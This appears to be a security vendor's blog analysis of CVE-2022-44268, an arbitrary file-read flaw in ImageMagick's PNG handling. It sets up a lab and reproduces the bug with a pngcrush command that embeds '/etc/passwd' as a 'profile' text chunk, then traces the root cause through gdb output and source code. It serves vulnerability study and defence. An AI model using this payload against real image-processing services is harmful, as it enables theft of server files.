Skip to content

CVE-2022–44268: Arbitrary Remote Leak in ImageMagick

About Version 2
Version 2 is one of the most dynamic IT companies in Asia. The company develops and distributes IT products for Internet and IP-based networks, including communication systems, Internet software, security, network, and media products. Through an extensive network of channels, point of sales, resellers, and partnership companies, Version 2 offers quality products and services which are highly acclaimed in the market. Its customers cover a wide spectrum which include Global 1000 enterprises, regional listed companies, public utilities, Government, a vast number of successful SMEs, and consumers in various Asian cities.

About VRX
VRX is a consolidated vulnerability management platform that protects assets in real time. Its rich, integrated features efficiently pinpoint and remediate the largest risks to your cyber infrastructure. Resolve the most pressing threats with efficient automation features and precise contextual analysis.

Introduction

Arbitrary Remote Leak in ImageMagick 7.1.0–49 has been found and registered as #CVE-2022-44268.

What is ImageMagick?

ImageMagick doesn’t really need any introduction because it has been around since August 1, 1990. It’s used everywhere not only on Linux systems but also as a library with other programming languages.

ImageMagick, invoked from the command line as magick, is a free and open-source cross-platform software suite for displaying, creating, converting, modifying, and editing raster images. Created in 1987 by John Cristy, it can read and write over 200 image file formats. It is widely used in open-source applications.

Programming language: C

Initial release: August 1, 1990; 32 years ago

Stable release: 7.1.0–62 / 12 February 2023

Build the lab

Method 1

  • Download the vulnerable (7.1.0-49) version from here:https://imagemagick.org/archive/releases/
  • Install the build tools
    sudo apt install build-essential make
  • Extract the tar.xz
    tar -axvf ImageMagick-7.1.0-49.tar.xz
    cd ImageMagick-7.1.0-49/
  • Configure and Install
    ./configure
    sudo make install
    sudo ldconfig /usr/local/lib
  • Test ImageMagick
    convert pictest.png test2.png
    convert --version

     

This worked for me after that I started to face issues with the PNG library, so if you faced the same issue here is another method to install.

Method 2

  • Download the script:https://github.com/SoftCreatR/imei/
    git clone https://github.com/SoftCreatR/imei && \
    cd imei && \
    chmod +x imei.sh
  • Run the script to download all the required libs and install ImageMagick
    ./imei.sh --im-version 7.1.0-49

NOTE: After installing using this way if you tried to open convert with GDB and didn’t work, you can run the ./confugre script in Method1 and it will work, that way imei will install all the needed libs and ImageMagick will be installed from the official resource.

However, I think you can just edit the imei script to install only the libs without installing ImageMagick and after that install ImageMagick.

I will add this in a separate blog, so stay tuned.

Background Story

This is a summary to give you general information about what you are going to read, so you can have an easier understanding.

When you pass a PNG image to something like “convert”, there is a function named ReadOnePNGImage which will process the image and also read the text chunk, from there, there is an if condition where it checks if there is the “profile” keyword inside the image metadata, if that the case the code treat any associated text to the keyword “profile” as a filename and using a function named FileToBlob it will read the file and set the string content inside the image.

I’m trying to achieve a more detailed understanding of what’s going on and how this whole vulnerability getting proceed.

Dive deep if you dare 😀

Reproducing the attack

  • First, you have to create the payload by embedding the “profile” keyword along with a file path as text, to do that we will use pngcrush tool.
    pngcrush -text a "profile" "/etc/passwd" mhzcyber2.png

    This will generate a new image named “pngout.png” with the text embedded inside it

    Here we can see the differences between both the original image and the new malicious one.

The original image:

The malicious image:

  • Trigger the exploitation with the following command:convert pngout.png pwnit.png

     

NOTE: Errors messages are always interesting since they can give us a lot of info that can help with debugging.

  • Check the newly generated image using the following command:
    identify -verbose pwnit.png

    This is hex data

  • Convert the hex to str
    
    726f6f743a783a303a303a726f6f743a2f726f6f743a2f62696e2f626173680a6461656d6f6e3a783a313a313a6461656d6f6e3a2f7573722f7362696e3a2f7573722f7362696e2f6e6f6c6f67696e0a62696e3a783a323a323a62696e3a2f62696e3a2f7573722f7362696e2f6e6f6c6f67696e0a7379733a783a333a333a7379733a2f6465763a2f7573722f7362696e2f6e6f6c6f67696e0a73796e633a783a343a36353533343a73796e633a2f62696e3a2f62696e2f73796e630a67616d65733a783a353a36303a67616d65733a2f7573722f67616d65733a2f7573722f7362696e2f6e6f6c6f67696e0a6d616e3a783a363a31323a6d616e3a2f7661722f63616368652f6d616e3a2f7573722f7362696e2f6e6f6c6f67696e0a6c703a783a373a373a6c703a2f7661722f73706f6f6c2f6c70643a2f7573722f7362696e2f6e6f6c6f67696e0a6d61696c3a783a383a383a6d61696c3a2f7661722f6d61696c3a2f7573722f7362696e2f6e6f6c6f67696e0a6e6577733a783a393a393a6e6577733a2f7661722f73706f6f6c2f6e6577733a2f7573722f7362696e2f6e6f6c6f67696e0a757563703a783a31303a31303a757563703a2f7661722f73706f6f6c2f757563703a2f7573722f7362696e2f6e6f6c6f67696e0a70726f78793a783a31333a31333a70726f78793a2f62696e3a2f7573722f7362696e2f6e6f6c6f67696e0a7777772d646174613a783a33333a33333a7777772d646174613a2f7661722f7777773a2f7573722f7362696e2f6e6f6c6f67696e0a6261636b75703a783a33343a33343a6261636b75703a2f7661722f6261636b7570733a2f7573722f7362696e2f6e6f6c6f67696e0a6c6973743a783a33383a33383a4d61696c696e67204c697374204d616e616765723a2f7661722f6c6973743a2f7573722f7362696e2f6e6f6c6f67696e0a6972633a783a33393a33393a697263643a2f7661722f72756e2f697263643a2f7573722f7362696e2f6e6f6c6f67696e0a676e6174733a783a34313a34313a476e617473204275672d5265706f7274696e672053797374656d202861646d696e293a2f7661722f6c69622f676e6174733a2f7573722f7362696e2f6e6f6c6f67696e0a6e6f626f64793a783a36353533343a36353533343a6e6f626f64793a2f6e6f6e6578697374656e743a2f7573722f7362696e2f6e6f6c6f67696e0a73797374656d642d6e6574776f726b3a783a3130303a3130323a73797374656d64204e6574776f726b204d616e6167656d656e742c2c2c3a2f72756e2f73797374656d643a2f7573722f7362696e2f6e6f6c6f67696e0a73797374656d642d7265736f6c76653a783a3130313a3130333a73797374656d64205265736f6c7665722c2c2c3a2f72756e2f73797374656d643a2f7573722f7362696e2f6e6f6c6f67696e0a73797374656d642d74696d6573796e633a783a3130323a3130343a73797374656d642054696d652053796e6368726f6e697a6174696f6e2c2c2c3a2f72756e2f73797374656d643a2f7573722f7362696e2f6e6f6c6f67696e0a6d6573736167656275733a783a3130333a3130363a3a2f6e6f6e6578697374656e743a2f7573722f7362696e2f6e6f6c6f67696e0a7379736c6f673a783a3130343a3131303a3a2f686f6d652f7379736c6f673a2f7573722f7362696e2f6e6f6c6f67696e0a5f6170743a783a3130353a36353533343a3a2f6e6f6e6578697374656e743a2f7573722f7362696e2f6e6f6c6f67696e0a7473733a783a3130363a3131313a54504d20736f66747761726520737461636b2c2c2c3a2f7661722f6c69622f74706d3a2f62696e2f66616c73650a75756964643a783a3130373a3131323a3a2f72756e2f75756964643a2f7573722f7362696e2f6e6f6c6f67696e0a74637064756d703a783a3130383a3131333a3a2f6e6f6e6578697374656e743a2f7573722f7362696e2f6e6f6c6f67696e0a6c616e6473636170653a783a3130393a3131353a3a2f7661722f6c69622f6c616e6473636170653a2f7573722f7362696e2f6e6f6c6f67696e0a706f6c6c696e6174653a783a3131303a313a3a2f7661722f63616368652f706f6c6c696e6174653a2f62696e2f66616c73650a7573626d75783a783a3131313a34363a7573626d7578206461656d6f6e2c2c2c3a2f7661722f6c69622f7573626d75783a2f7573722f7362696e2f6e6f6c6f67696e0a737368643a783a3131323a36353533343a3a2f72756e2f737368643a2f7573722f7362696e2f6e6f6c6f67696e0a73797374656d642d636f726564756d703a783a3939393a3939393a73797374656d6420436f72652044756d7065723a2f3a2f7573722f7362696e2f6e6f6c6f67696e0a75733a783a313030303a313030303a75733a2f686f6d652f75733a2f62696e2f626173680a6c78643a783a3939383a3130303a3a2f7661722f736e61702f6c78642f636f6d6d6f6e2f6c78643a2f62696e2f66616c73650a

Debugging

I need to understand how ImageMagick processes png images, therefore, I can dive deep into the code and understand the vulnerability better.

  • Start gdb as follows:gdb convert

     

    use the command lay next and after that press Enter twice

I set a breakpoint at the main function after that run the program

break main

run pngout.png xy.png

I went here with step step-in and next to follow the program execution

This will be a very long execution flow until we hit the first interesting shared library “png.c” and the interesting function for us which is “ReadOnePNGImage”

I recorded the execution here:

ٍSince I did this on multiple days, I have divided this into three parts

NOTE: these are not the precise execution steps since I passed some steps that are not exactly related to understanding the execution flow and the vulnerability.

Part 1:

it starts ywith reading the PNG image using ReadOnePNGImage

2177          int
2213          png_bytep
2216          png_color_16p
2230          png_uint_32
2261          png_byte unused_chunks[]=
2280          logging=IsEventLogging();

MagickCore/log.c
764         {
765           return(event_logging);

coders/png.c
2281          if (logging != MagickFalse)
2345          quantum_info = (QuantumInfo *) NULL;
2346          image=mng_info->image;
2359          intent= Magick_RenderingIntent_to_PNG_RenderingIntent(image->rendering_intent);
1110          switch (ping_colortype)
2363          transparent_color.red=65537;
2364          transparent_color.green=65537;
2365          transparent_color.blue=65537;
2366          transparent_color.alpha=65537;
2377          ping_found_sRGB_cHRM = MagickFalse;
2378          ping_preserve_iCCP = MagickFalse;
2376          ping_found_sRGB = MagickFalse;
2377          ping_found_sRGB_cHRM = MagickFalse;
2378          ping_preserve_iCCP = MagickFalse;
2387         ping=png_create_read_struct_2(PNG_LIBPNG_VER_STRING,&error_info,MagickPNGErrorHandler,MagickPNGWarningHandler, NULL,(png_malloc_ptr) Magick_png_malloc,(png_free_ptr) Magick_png_free);
2394          if (ping == (png_struct *) NULL)
2397          ping_info=png_create_info_struct(ping);
2399          if (ping_info == (png_info *) NULL)
2405          end_info=png_create_info_struct(ping);
2407          if (end_info == (png_info *) NULL)
2413          pixel_info=(MemoryInfo *) NULL;
2414          quantum_scanline = (Quantum *) NULL;
2415          quantum_info = (QuantumInfo *) NULL;
2417          if (setjmp(png_jmpbuf(ping)))
2451          LockSemaphoreInfo(ping_semaphore);

MagickCore/semaphore.c
294         {
295           assert(semaphore_info != (SemaphoreInfo *) NULL);
296           assert(semaphore_info->signature == MagickCoreSignature);
306           omp_set_lock((omp_lock_t *) &semaphore_info->mutex);

coders/png.c
2456          png_set_benign_errors(ping, 1);
2465            png_set_user_limits(ping,(png_uint_32) MagickMin(PNG_UINT_31_MAX, GetMagickResourceLimit(WidthResource)),(png_uint_32) MagickMin(PNG_UINT_31_MAX,GetMagickResourceLimit(HeightResource)));

MagickCore/resource.c
798         {
802           switch (type)
807               return(resource_info.height_limit);
798         {
802           switch (type)
815               return(resource_info.width_limit);

coders/png.c
2470            option=GetImageOption(image_info,"png:chunk-cache-max");

MagickCore/option.c
2404        {
2405          assert(image_info != (ImageInfo *) NULL);
2406          assert(image_info->signature == MagickCoreSignature);
2407          if (IsEventLogging() != MagickFalse)

MagickCore/log.c
764         {
765           return(event_logging);

MagickCore/option.c
2410          if (image_info->options == (void *) NULL)
2412          return((const char *) GetValueFromSplayTree((SplayTreeInfo *) image_info->options,option));

MagickCore/splay-tree.c
923         {
930           assert(splay_tree != (SplayTreeInfo *) NULL);
931           assert(splay_tree->signature == MagickCoreSignature);
932           if (IsEventLogging() != MagickFalse)

MagickCore/log.c
764         {
765           return(event_logging);

MagickCore/splay-tree.c
934           if (splay_tree->root == (NodeInfo *) NULL)
936           LockSemaphoreInfo(splay_tree->semaphore);

MagickCore/semaphore.c
294         {
295           assert(semaphore_info != (SemaphoreInfo *) NULL);
296           assert(semaphore_info->signature == MagickCoreSignature);
306           omp_set_lock((omp_lock_t *) &semaphore_info->mutex);

MagickCore/splay-tree.c
937           SplaySplayTree(splay_tree,key);
1613          if (splay_tree->root == (NodeInfo *) NULL)
1615          if (splay_tree->key != (void *) NULL)
1620              if (splay_tree->compare != (int (*)(const void *,const void *)) NULL)
1621                compare=splay_tree->compare(splay_tree->root->key,key);
413         {
420           return(LocaleCompare(p,q));

MagickCore/locale.c
1407        {
1408          if (p == (char *) NULL)
1414          if (q == (char *) NULL)
1421            for ( ; (*r != '\0') && (*s != '\0') && ((*r == *s) || (LocaleToLowercase((int) *r) == LocaleToLowercase((int) *s))); r++, s++);

MagickCore/splay-tree.c
1625              if (compare == 0)
1611        static void SplaySplayTree(SplayTreeInfo *splay_tree,const void *key)
1628          (void) Splay(splay_tree,0UL,key,&splay_tree->root,(NodeInfo **) NULL, (NodeInfo **) NULL);
1528          n=(*node);
1529          if (n == (NodeInfo *) NULL)
1536          if (splay_tree->compare != (int (*)(const void *,const void *)) NULL)
1537            compare=splay_tree->compare(n->key,key);
413         {
420           return(LocaleCompare(p,q));

MagickCore/locale.c
1407        {
1408          if (p == (char *) NULL)
1414          if (q == (char *) NULL)
1421            for ( ; (*r != '\0') && (*s != '\0') && ((*r == *s) || (LocaleToLowercase((int) *r) == LocaleToLowercase((int) *s))); r++, s++);

MagickCore/splay-tree.c
1541          if (compare > 0)
1544            if (compare < 0)
1545              next=(&n->right);
1548              if (depth >= MaxSplayTreeDepth)
1553              n=Splay(splay_tree,depth+1,key,next,node,parent);
1528          n=(*node);
1529          if (n == (NodeInfo *) NULL)
1531              if (parent != (NodeInfo **) NULL)
1532                return(*parent);
1551                  return(n);
1554              if ((n != *node) || (splay_tree->balance != MagickFalse))
1557          if (parent == (NodeInfo **) NULL)
1551                  return(n);
1630          if (splay_tree->balance != MagickFalse)
1638          splay_tree->key=(void *) key;
938           if (splay_tree->compare != (int (*)(const void *,const void *)) NULL)
939             compare=splay_tree->compare(splay_tree->root->key,key);
413         {
420           return(LocaleCompare(p,q));

MagickCore/locale.c
1407        {
1408          if (p == (char *) NULL)
1414          if (q == (char *) NULL)
1421            for ( ; (*r != '\0') && (*s != '\0') && ((*r == *s) || (LocaleToLowercase((int) *r) == LocaleToLowercase((int) *s))); r++, s++);

MagickCore/splay-tree.c
943           if (compare != 0)
945               UnlockSemaphoreInfo(splay_tree->semaphore);

MagickCore/semaphore.c
450         {
451           assert(semaphore_info != (SemaphoreInfo *) NULL);
452           assert(semaphore_info->signature == MagickCoreSignature);
465           omp_unset_lock((omp_lock_t *) &semaphore_info->mutex);

MagickCore/splay-tree.c
946               return((void *) NULL);

coders/png.c
2471            if (option != (const char *) NULL) png_set_chunk_cache_max(ping,(png_uint_32) MagickMin(PNG_UINT_32_MAX, StringToLong(option)));
2475              png_set_chunk_cache_max(ping,32767);
2479            option=GetImageOption(image_info,"png:chunk-malloc-max");

MagickCore/property.c
4711              if (LocaleCompare("profile",property) == 0)

MagickCore/locale.c
1407        {
1408          if (p == (char *) NULL)
1414          if (q == (char *) NULL)
1421            for ( ; (*r != '\0') && (*s != '\0') && ((*r == *s) || (LocaleToLowercase((int) *r) == LocaleToLowercase((int) *s))); r++, s++);
1422              (LocaleToLowercase((int) *r) == LocaleToLowercase((int) *s))); r++, s++);

/usr/include/ctype.h
209           return __c >= -128 && __c < 256 ? (*__ctype_tolower_loc ())[__c] : __c;

MagickCore/property.c
4843          status=AddValueToSplayTree((SplayTreeInfo *) image->properties, ConstantString(property),ConstantString(value));

MagickCore/string.c
679         {
687           if (source != (char *) NULL)
688             length+=strlen(source);

MagickCore/property.c
4362        {
4372          assert(image != (Image *) NULL);
4373          assert(image->signature == MagickCoreSignature);
4374          if (IsEventLogging() != MagickFalse)

MagickCore/log.c
764         {
765           return(event_logging);

MagickCore/property.c
4376          if (image->properties == (void *) NULL) image->properties=NewSplayTree(CompareSplayTreeString, RelinquishMagickMemory,RelinquishMagickMemory);
4379          if (value == (const char *) NULL) return(DeleteImageProperty(image,property));
4381          if (strlen(property) <= 1)

4711              if (LocaleCompare("profile",property) == 0)

MagickCore/locale.c
1407        {
1408          if (p == (char *) NULL)
1414          if (q == (char *) NULL)
1421            for ( ; (*r != '\0') && (*s != '\0') && ((*r == *s) || (LocaleToLowercase((int) *r) == LocaleToLowercase((int) *s))); r++, s++);
1422              (LocaleToLowercase((int) *r) == LocaleToLowercase((int) *s))); r++, s++);

/usr/include/ctype.h
209           return __c >= -128 && __c < 256 ? (*__ctype_tolower_loc ())[__c] : __c;

MagickCore/property.c
4843          status=AddValueToSplayTree((SplayTreeInfo *) image->properties, ConstantString(property),ConstantString(value));

coders/png.c
3370             if (ping_interlace_method == 0)
3372                 (void) FormatLocaleString(msg,MagickPathExtent,"%d (Not interlaced)", (int) ping_interlace_method);

MagickCore/locale.c
131           if (c_locale == (locale_t) NULL)
137           return(c_locale);

coders/png.c
3385               (void) SetImageProperty(image,"png:IHDR.interlace_method",msg,exception);

MagickCore/property.c
4362        {
4372          assert(image != (Image *) NULL);
4373          assert(image->signature == MagickCoreSignature);
4374          if (IsEventLogging() != MagickFalse)
4376          if (image->properties == (void *) NULL)
4379          if (value == (const char *) NULL)
4381          if (strlen(property) <= 1)
4711              if (LocaleCompare("profile",property) == 0)

coders/png.c
3387             if (number_colors != 0)
3395           read_tIME_chunk(image,ping,ping_info,exception);
2118        {
2122          if (png_get_tIME(ping,info,&time))
3398          read_eXIf_chunk(image,ping,ping_info,exception);
1950          if (png_get_eXIf_1(ping,info,&size,&data))
3405          if (image->delay != 0)
3408          if ((mng_info->mng_type == 0 && (image->ping != MagickFalse)) || (
3438          if (logging != MagickFalse)
3442          status=SetImageExtent(image,image->columns,image->rows,exception);

MagickCore/image.c
2664        {
2665          if ((columns == 0) || (rows == 0))
2667          image->columns=columns;
2668          image->rows=rows;
2669          if (image->depth == 0)
2675          if (image->depth > (8*sizeof(MagickSizeType)))
2681          return(SyncImagePixelCache(image,exception));

MagickCore/resource.c
798         {
802           switch (type)

Part 2:

ReadOnePNGImage (mng_info=mng_info@entry=0x5555555b0200, image_info=image_info@entry=0x555555597590, exception=exception@entry=0x55555558a830) at coders/png.c:3962

ConcatenateMagickString (destination=destination@entry=0x5555555c1a00 "", source=0x5555555b6ee8 "/etc/passwd", length=length@entry=13) at MagickCore/string.c:394

ReadOnePNGImage (mng_info=mng_info@entry=0x5555555b0200, image_info=image_info@entry=0x555555597590, exception=exception@entry=0x55555558a830) at coders/png.c:3973

FormatLocaleString (string=string@entry=0x7fffffff25d0 "pngout.png", length=length@entry=4096, format=format@entry=0x7ffff7e861fb "%s") at MagickCore/locale.c:468

FormatLocaleStringList (string=0x7fffffff25d0 "pngout.png", length=4096, format=0x7ffff7e861fb "%s", operands=operands@entry=0x7fffffff0040) at MagickCore/locale.c:419

AcquireCLocale () at MagickCore/locale.c:131

FormatLocaleStringList (string=0x7fffffff25d0 "profile", length=4096, format=<optimized out>, operands=operands@entry=0x7fffffff0040) at MagickCore/locale.c:461

FormatLocaleString (string=string@entry=0x7fffffff25d0 "profile", length=length@entry=4096, format=format@entry=0x7ffff7e861fb "%s") at MagickCore/locale.c:478

LocaleCompare (p=p@entry=0x7fffffff25d0 "profile", q=q@entry=0x7ffff7e7f546 "width") at MagickCore/locale.c:1407

ReadOnePNGImage (mng_info=mng_info@entry=0x5555555b0200, image_info=image_info@entry=0x555555597590, exception=exception@entry=0x55555558a830) at coders/png.c:3982

SetImageProperty (image=image@entry=0x5555555a9590, property=property@entry=0x7fffffff25d0 "profile", value=value@entry=0x5555555c1a00 "/etc/passwd", exception=exception@entry=0x55555558a830) at MagickCore/property.c:4362

SetImageProperty (image=image@entry=0x5555555a9590, property=property@entry=0x7fffffff25d0 "profile", value=value@entry=0x5555555c1a00 "/etc/passwd", exception=exception@entry=0x55555558a830) at MagickCore/property.c:4381

SetImageProperty (image=image@entry=0x5555555a9590, property=property@entry=0x7fffffff25d0 "profile", value=value@entry=0x5555555c1a00 "/etc/passwd", exception=exception@entry=0x55555558a830) at MagickCore/property.c:4692

SetImageProperty (image=image@entry=0x5555555a9590, property=property@entry=0x7fffffff25d0 "profile", value=value@entry=0x5555555c1a00 "/etc/passwd", exception=exception@entry=0x55555558a830) at MagickCore/property.c:4711

Part 3:

MagickCore/property.c:4711
MagickCore/property.c:4722
FileToStringInfo (filename=filename@entry=0x5555555c4c90 "/etc/passwd", extent=extent@entry=18446744073709551615,
    exception=exception@entry=0x55555558a830) at MagickCore/string.c:1007

MagickCore/string.c
1015          string_info=AcquireStringInfoContainer();
AcquireStringInfoContainer () at MagickCore/string.c:145
147           string_info->signature=MagickCoreSignature;
1016          string_info->path=ConstantString(filename);
679         {
1017          string_info->datum=(unsigned char *) FileToBlob(filename,extent,
FileToStringInfo (filename=filename@entry=0x5555555c4c90 "/etc/passwd", extent=extent@entry=18446744073709551615,
    exception=exception@entry=0x55555558a830) at MagickCore/string.c:1017

MagickCore/blob.c
1398        {
FileToBlob (filename=filename@entry=0x5555555c4c90 "/etc/passwd", extent=extent@entry=18446744073709551615,
    length=length@entry=0x5555555d3e60, exception=exception@entry=0x55555558a830) at MagickCore/blob.c:1398
1423          assert(filename != (const char *) NULL);
1424          assert(exception != (ExceptionInfo *) NULL);
1425          assert(exception->signature == MagickCoreSignature);
1428          *length=0;
FileToBlob (filename=filename@entry=0x5555555c4c90 "/etc/passwd", extent=extent@entry=18446744073709551615,
    length=length@entry=0x5555555d3e60, exception=exception@entry=0x55555558a830) at MagickCore/blob.c:1428
1429          status=IsRightsAuthorized(PathPolicyDomain,ReadPolicyRights,filename);
FileToBlob (filename=filename@entry=0x5555555c4c90 "/etc/passwd", extent=extent@entry=18446744073709551615,
    length=length@entry=0x5555555d3e60, exception=exception@entry=0x55555558a830) at MagickCore/blob.c:1430
1437          file=fileno(stdin);
1440              status=GetPathAttributes(filename,&attributes);
FileToBlob (filename=filename@entry=0x5555555c4c90 "/etc/passwd", extent=extent@entry=18446744073709551615,
    length=length@entry=0x5555555d3e60, exception=exception@entry=0x55555558a830) at MagickCore/blob.c:1438

MagickCore/utility.c
1189          status=stat_utf8(path,(struct stat *) attributes) == 0 ? MagickTrue :
GetPathAttributes (path=path@entry=0x5555555c4c90 "/etc/passwd", attributes=attributes@entry=0x7ffffffeff10) at MagickCore/utility.c:1189
stat_utf8 (attributes=0x7ffffffeff10, path=0x5555555c4c90 "/etc/passwd") at MagickCore/utility.c:1189
GetPathAttributes (path=path@entry=0x5555555c4c90 "/etc/passwd", attributes=attributes@entry=0x7ffffffeff10) at MagickCore/utility.c:1191
FileToBlob (filename=filename@entry=0x5555555c4c90 "/etc/passwd", extent=extent@entry=18446744073709551615,
    length=length@entry=0x5555555d3e60, exception=exception@entry=0x55555558a830) at MagickCore/blob.c:1441
FileToBlob (filename=filename@entry=0x5555555c4c90 "/etc/passwd", extent=extent@entry=18446744073709551615,
    length=length@entry=0x5555555d3e60, exception=exception@entry=0x55555558a830) at MagickCore/blob.c:1455
FileToBlob (filename=filename@entry=0x5555555c4c90 "/etc/passwd", extent=extent@entry=18446744073709551615,
    length=length@entry=0x5555555d3e60, exception=exception@entry=0x55555558a830) at MagickCore/blob.c:1515
MapBlob (file=file@entry=4, mode=mode@entry=ReadMode, offset=offset@entry=0, length=1815) at MagickCore/blob.c:3011
FileToBlob (filename=filename@entry=0x5555555c4c90 "/etc/passwd", extent=extent@entry=18446744073709551615,
    length=length@entry=0x5555555d3e60, exception=exception@entry=0x55555558a830) at MagickCore/blob.c:1523

MagickCore/property.c
SetImageProperty (image=image@entry=0x5555555a9590, property=property@entry=0x7fffffff25d0 "profile",
    value=value@entry=0x5555555c1a00 "/etc/passwd", exception=exception@entry=0x55555558a830) at MagickCore/property.c:4725

MagickCore/profile.c
SetImageProfile (image=image@entry=0x5555555a9590, name=name@entry=0x5555555c2c90 "", profile=profile@entry=0x5555555d3e50,
    exception=exception@entry=0x55555558a830) at MagickCore/profile.c:1997
SetImageProfileInternal (image=image@entry=0x5555555a9590, name=name@entry=0x5555555c2c90 "", profile=profile@entry=0x5555555d3e50,
    recursive=recursive@entry=MagickFalse, exception=exception@entry=0x55555558a830) at MagickCore/profile.c:1955

SetImageProperty (image=image@entry=0x5555555a9590, property=property@entry=0x7fffffff25d0 "profile",
    value=value@entry=0x5555555c1a00 "/etc/passwd", exception=exception@entry=0x55555558a830) at MagickCore/property.c:4727

NOTE: since explaining each line by line of the execution would take an extreme amount of time, I will explain the main used functions and the lines that are related to understanding the vulnerability.

  • Basically it starts with ReadOnePNGImage 

ReadOnePNGImage() reads a Portable Network Graphics (PNG) image file (minus the 8-byte signature) and returns it.
It allocates the memory necessary for the new Image structure and returns a pointer to the new image.

The format of the ReadOnePNGImage method is:

Image ReadOnePNGImage(MngInfo mng_info, const ImageInfo image_info, ExceptionInfo exception)

A description of each parameter follows:

o mng_info: Specifies a pointer to a MngInfo structure.

o image_info: the image info.

o exception: return any errors or warnings in this structure.

The function starts at int and here there are several variables that are used to store various characteristics of the PNG image file, such as the PNG rendering intent, the number of raw ICC profiles and text chunks associated with the image, the number of passes required to display the image, and the characteristics of the image data such as bit depth, color type, interlace method, compression method, filter method, and the number of transparent pixels. These variables are used to decode the image data and reconstruct the image.

  • Every time you see this line logging=IsEventLogging(); this means it will go to “MagickCore/log.c” and IsEventLogging() returns MagickTrue if debug of events is enabled otherwise MagickFalse.

  • The code sets a few pointer and variable values, including setting quantum_info to NULL, setting image to point to the image object within the mng_info struct, and setting intent to a value representing the rendering intent for the image. Also sets a few boolean variables and initializes some structures for reading in the PNG image file.

  • After that, it moves to the LockSemaphoreInfo function which locks a semaphore.A description of each parameter follows:

    o semaphore_info: Specifies a pointer to an SemaphoreInfo structure.

  • After that to resource.c to GetMagickResourceLimit function which returns the specified resource limit.

  • Now to “MagickCore/option.c” to GetImageOption function which gets a value associated with the global image options.

  • From here with GetValueFromSplayTree function it will go to “MagickCore/splay-tree.c”. GetValueFromSplayTree() gets a value from the splay-tree by its key.

  • This is where it will start to be interesting which basically from the part2 of the execution record
ReadOnePNGImage (mng_info=mng_info@entry=0x5555555b0200, image_info=image_info@entry=0x555555597590, exception=exception@entry=0x55555558a830) at coders/png.c:3962

Basically, the code here reads the text chunk from the image i.e. the file path

else
          {
            char
              *value;

            length=text[i].text_length;
            value=(char *) AcquireQuantumMemory(length+MagickPathExtent,
              sizeof(*value));
            if (value == (char *) NULL)
              {
                png_error(ping,"Memory allocation failed");
                break;
              }
            *value='\0';
            (void) ConcatenateMagickString(value,text[i].text,length+2);

            /* Don't save "density" or "units" property if we have a pHYs
             * chunk
             */
            if (!png_get_valid(ping,ping_info,PNG_INFO_pHYs) ||
                (LocaleCompare(text[i].key,"density") != 0 &&
                LocaleCompare(text[i].key,"units") != 0))
              {
                char
                  key[MagickPathExtent];

                (void) FormatLocaleString(key,MagickPathExtent,"%s",
                  text[i].key);
                if ((LocaleCompare(key,"version") == 0) ||
                    (LocaleCompare(key,"width") == 0))
                  (void) FormatLocaleString(key,MagickPathExtent,"png:%s",
                    text[i].key);
                (void) SetImageProperty(image,key,value,exception);
              }

First, a character pointer variable called value is declared. length is set to the length of the text in the current text chunk. Memory is then allocated for value, which will be used to store the text value. The AcquireQuantumMemory function is used for memory allocation.

Next, the code checks if memory allocation for value was successful. If it wasn’t, an error message is logged and the loop is broken. If memory allocation was successful, value is set to an empty string using '\0'.

Now the text value is copied into value using the ConcatenateMagickString .

ConcatenateMagickString() concatenates the source string to the destination string.
The destination buffer is always null-terminated even if the string must be truncated.

After that, the program goes through multiple other interesting functions, such as:

  • FormatLocaleStringList
  • FormatLocaleString
  • SetImageProperty which it’s interesting since saves the given string value either to a specific known attribute or to a freeform property string.

scroll down in the SetImageProperty to line 4711

when you follow this code, you found this full function in MagickCore/preperty.c

Basically, the code here using LocaleCompare function to check if the property variable is equal to the string “profile”, If the comparison returns zero, meaning the strings are equal, it will continue.

here, I will explain what those functions do and I will focus more on the functions that are more related to the root cause.

AcquireImageInfo() allocates the ImageInfo structure.
The format of the AcquireImageInfo method is: ImageInfo *AcquireImageInfo(void)

The SetImageInfo function is then called to initialize the ImageInfo struct, passing in a value of 1 and an exception parameter.

SetImageInfo() initializes the ‘magick’ field of the ImageInfo structure.
It is set to a type of image format based on the prefix or suffix of the filename. For example, ‘ps:image’ returns PS indicating a Postscript image.
JPEG is returned for this filename: ‘image.jpg’. The filename prefix has precendence over the suffix. Use an optional index enclosed in brackets after a file name to specify a desired scene of a multi-resolution image format like Photo CD (e.g. img0001.pcd[4]). A True (non-zero) return value indicates success.

This line is very interesting

profile=FileToStringInfo(image_info->filename,~0UL,exception);

The FileToStringInfo function is called with the filename of the ImageInfo struct and a flag value ~0UL to read the entire file into memory as a StringInfo struct.

FileToStringInfo() returns the contents of a file as a string.

This function takes three parameters:

  1. filename is a pointer to a character array (i.e., string) that contains the name of the file to read.
  2. extent is a size_t variable indicating the maximum length of the string that should be read from the file. This parameter is used to prevent the function from reading beyond a specified limit, which can help prevent buffer overflow errors.
  3. exception is a pointer to an ExceptionInfo structure. This structure is used to capture any errors or warnings that occur during the execution of the function.

The function also calls the FileToBlob() function, passing in the filename, extent, and exception parameters. This function reads the contents and the file content is stored in the datum field of the StringInfo structure.

string_info->datum=(unsigned char *) FileToBlob(filename,extent, &string_info->length,exception);

FileToBlob() returns the contents of a file as a buffer terminated with the ‘\0’ character. The length of the buffer (not including the extra terminating ‘\0’ character) is returned via the ‘length’ parameter. Free the buffer with RelinquishMagickMemory().

The interesting part of the FileToBlob() function is this:

file=fileno(stdin);
  if (LocaleCompare(filename,"-") != 0)
    {
      status=GetPathAttributes(filename,&attributes);
      if ((status == MagickFalse) || (S_ISDIR(attributes.st_mode) != 0))
        {
          ThrowFileException(exception,BlobError,"UnableToReadBlob",filename);
          return(NULL);
        }
      file=open_utf8(filename,O_RDONLY | O_BINARY,0);
    }
  if (file == -1)
    {
      ThrowFileException(exception,BlobError,"UnableToOpenFile",filename);
      return(NULL);
    }

basically, the function will check if the filename contains “-” it will try to read from stdin input otherwise it will start with the GetPathAttributes function which retrieves information about the file specified by filename, such as its type, size, and permissions. GetPathAttributes can be found in MagickCore/utility.c here:

If the GetPathAttributes function returns MagickFalse, indicating an error occurred, or if the file type is a directory, the ThrowFileException function is called to throw an exception with an error message, and NULL is returned.

Now if the file type is not a directory, the open_utf8 function is called with the filename This function attempts to open the file specified by filename in read-only mode, and returns a file descriptor that is assigned to the file variable. If the open_utf8 function fails and returns -1, indicating an error, the ThrowFileException function is called to throw an exception with an error message, and NULL is returned, Otherwise, the file descriptor is returned to the calling function.

Now going back to the if (LocaleCompare("profile",property)==0) in MagicCore/property.c

If the StringInfo is successfully read, the SetImageProfile function is called to set the image’s profile using the image’s format (image_info->magick), the StringInfo struct, and the exception parameter.

